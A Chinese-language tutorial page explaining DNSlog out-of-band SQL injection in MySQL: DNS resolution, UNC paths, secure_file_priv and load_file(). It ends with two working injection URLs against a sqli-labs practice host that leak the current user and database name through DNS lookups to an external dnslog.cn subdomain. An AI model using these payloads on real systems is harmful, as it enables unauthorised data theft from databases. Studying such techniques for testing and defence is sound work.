服务器 > 服务器 > dns服务器

DNS log注入原理解析

60人参与 2024-05-12 dns服务器

核心:

将盲注转换为显错注入

原理:

通常我们面对sql注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在sql注入,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池

我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。

dns在解析的时候会留下记录。

当dns服务器是我们自己的时,我们就可以通过查看日志来查询一些信息

什么是unc?

unc路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。

注入所需条件?

首先说明,dns带外查询属于mysql注入,在mysql中有个系统属性

secure_file_priv特性,有三种状态:

secure_file_priv为null    表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
可了解一下load_file和outfile

load_file()函数:load_file()函数读取一个文件并将其内容作为字符串返回 

语法为:load_file(file_name),其中file_name是文件的完整路径

不管是布尔类型盲注还是时间盲注,都需要发送大量的数据包去判断数据,而这很可能会触发waf的防护,因此导致被封ip。所以,如果条件允许,我们可以结合dnslog来快速的回显数据。mysql数据库,通过dnslog盲注需要用到 load_file() 函数,该函数不仅能加载本地文件,同时也能对url发起请求。因为需要使用 load_file() 函数,所以需要root权限,并且 secure_file_priv 需要为空。并且服务器要为windows操作系统。

注入语句:

# 查询当前用户名
http://192.168.157.129/sql-labs/less-1/?id=1' and (select load_file(concat('\\\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+
# 查看当前数据库名
http://192.168.157.129/sql-labs/less-1/?id=1' and (select load_file(concat('\\\\',(select database()),'.682y4b.dnslog.cn/abc'))) --+

到此这篇关于dns log注入原理的文章就介绍到这了,更多相关dns log注入原理内容请搜索代码网以前的文章或继续浏览下面的相关文章希望大家以后多多支持代码网!

(0)
打赏 微信扫一扫 微信扫一扫

您想发表意见!!点此发布评论

推荐阅读

DNS服务器的安装与配置步骤

05-12

DNSLog使用方法及场景分析

05-12

DNS信息查询工具dig用法详解

05-12

深入理解DNSlog

05-12

ansible部署DNS缓存服务器的实现步骤

05-12

DNS_PROBE_FINISHED_NXDOMAIN错误如何修复

05-12

猜你喜欢

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论